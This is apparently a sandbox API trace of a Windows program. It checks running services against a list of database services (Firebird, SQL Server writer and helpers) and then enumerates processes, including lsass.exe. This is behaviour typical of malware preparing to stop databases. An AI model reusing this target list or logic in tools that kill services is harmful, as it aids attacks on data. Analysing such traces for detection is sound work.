	[0176.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0176.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0176.127] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0176.127] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0176.127] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0176.127] lstrlenW (lpString="Dhcp") returned 4
	[0176.127] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0176.127] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0176.127] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0176.128] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0176.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0176.128] lstrlenW (lpString="Dnscache") returned 8
	[0176.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0176.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0176.128] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0176.128] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0176.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0176.128] lstrlenW (lpString="DPS") returned 3
	[0176.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0176.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0176.128] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0176.128] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0176.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0176.128] lstrlenW (lpString="DusmSvc") returned 7
	[0176.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0176.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0176.128] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0176.128] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0176.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0176.128] lstrlenW (lpString="EventLog") returned 8
	[0176.128] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0176.128] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0176.128] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0176.128] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0176.128] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0176.129] lstrlenW (lpString="EventSystem") returned 11
	[0176.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0176.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0176.129] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0176.129] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0176.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0176.129] lstrlenW (lpString="FontCache") returned 9
	[0176.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0176.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0176.129] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0176.129] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0176.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0176.129] lstrlenW (lpString="gpsvc") returned 5
	[0176.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0176.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0176.129] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0176.129] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0176.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0176.129] lstrlenW (lpString="iphlpsvc") returned 8
	[0176.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0176.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0176.129] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0176.129] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0176.129] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0176.129] lstrlenW (lpString="KeyIso") returned 6
	[0176.129] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0176.129] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0176.130] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0176.130] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0176.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0176.130] lstrlenW (lpString="LanmanServer") returned 12
	[0176.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0176.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0176.130] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0176.130] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0176.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0176.130] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0176.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0176.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0176.130] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0176.130] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0176.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0176.130] lstrlenW (lpString="lfsvc") returned 5
	[0176.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0176.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0176.130] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0176.130] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0176.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0176.130] lstrlenW (lpString="lmhosts") returned 7
	[0176.130] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0176.130] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0176.130] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0176.130] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0176.130] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0176.131] lstrlenW (lpString="LSM") returned 3
	[0176.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0176.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0176.131] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0176.131] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0176.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0176.131] lstrlenW (lpString="MpsSvc") returned 6
	[0176.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0176.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0176.131] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0176.131] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0176.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0176.131] lstrlenW (lpString="NcbService") returned 10
	[0176.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0176.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0176.131] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0176.131] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0176.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0176.131] lstrlenW (lpString="netprofm") returned 8
	[0176.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0176.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0176.131] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0176.131] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0176.131] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0176.131] lstrlenW (lpString="NgcSvc") returned 6
	[0176.131] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0176.131] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0176.132] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0176.132] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0176.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0176.132] lstrlenW (lpString="NlaSvc") returned 6
	[0176.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0176.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0176.132] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0176.132] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0176.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0176.132] lstrlenW (lpString="nsi") returned 3
	[0176.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0176.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0176.132] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0176.132] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0176.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0176.132] lstrlenW (lpString="PcaSvc") returned 6
	[0176.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0176.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0176.132] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0176.132] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0176.132] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0176.132] lstrlenW (lpString="PlugPlay") returned 8
	[0176.132] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0176.132] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0176.132] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0176.132] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0176.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0176.133] lstrlenW (lpString="Power") returned 5
	[0176.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0176.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0176.133] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0176.133] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0176.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0176.133] lstrlenW (lpString="ProfSvc") returned 7
	[0176.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0176.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0176.133] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0176.133] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0176.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0176.133] lstrlenW (lpString="RpcEptMapper") returned 12
	[0176.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0176.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0176.133] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0176.133] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0176.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0176.133] lstrlenW (lpString="RpcSs") returned 5
	[0176.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0176.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0176.133] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0176.133] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0176.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0176.133] lstrlenW (lpString="SamSs") returned 5
	[0176.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0176.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0176.134] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0176.134] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0176.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0176.134] lstrlenW (lpString="Schedule") returned 8
	[0176.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0176.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0176.134] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0176.134] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0176.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0176.134] lstrlenW (lpString="SecurityHealthService") returned 21
	[0176.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0176.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0176.134] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0176.134] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0176.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0176.134] lstrlenW (lpString="SENS") returned 4
	[0176.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0176.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0176.134] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0176.134] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0176.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0176.134] lstrlenW (lpString="ShellHWDetection") returned 16
	[0176.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0176.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0176.134] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0176.134] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0176.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0176.135] lstrlenW (lpString="Spooler") returned 7
	[0176.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0176.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0176.135] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0176.135] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0176.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0176.135] lstrlenW (lpString="StateRepository") returned 15
	[0176.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0176.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0176.135] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0176.135] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0176.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0176.135] lstrlenW (lpString="SysMain") returned 7
	[0176.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0176.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0176.135] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0176.135] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0176.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0176.135] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0176.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0176.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0176.135] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0176.135] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0176.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0176.135] lstrlenW (lpString="Themes") returned 6
	[0176.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0176.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0176.136] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0176.136] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0176.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0176.136] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0176.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0176.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0176.136] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0176.136] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0176.136] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x550940 | out: hHeap=0x4f0000) returned 1
	[0176.136] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x530
	[0176.284] Process32FirstW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0176.285] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0176.285] lstrlenW (lpString="System") returned 6
	[0176.286] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0176.286] lstrlenW (lpString="smss.exe") returned 8
	[0176.286] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0176.287] lstrlenW (lpString="csrss.exe") returned 9
	[0176.287] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0176.288] lstrlenW (lpString="wininit.exe") returned 11
	[0176.288] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0176.289] lstrlenW (lpString="csrss.exe") returned 9
	[0176.289] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0176.290] lstrlenW (lpString="winlogon.exe") returned 12
	[0176.290] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0176.291] lstrlenW (lpString="services.exe") returned 12
	[0176.291] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0176.292] lstrlenW (lpString="lsass.exe") returned 9
	[0176.292] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0176.293] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0176.293] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0176.294] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0176.294] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.295] lstrlenW (lpString="svchost.exe") returned 11
	[0176.295] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.296] lstrlenW (lpString="svchost.exe") returned 11
	[0176.296] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0176.297] lstrlenW (lpString="dwm.exe") returned 7
	[0176.297] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.298] lstrlenW (lpString="svchost.exe") returned 11
	[0176.298] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.299] lstrlenW (lpString="svchost.exe") returned 11
	[0176.299] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.300] lstrlenW (lpString="svchost.exe") returned 11
	[0176.300] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.301] lstrlenW (lpString="svchost.exe") returned 11
	[0176.301] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.302] lstrlenW (lpString="svchost.exe") returned 11
	[0176.302] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0176.303] lstrlenW (lpString="svchost.exe") returned 11
	[0176.303] Process32NextW (in: hSnapshot=0x530, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
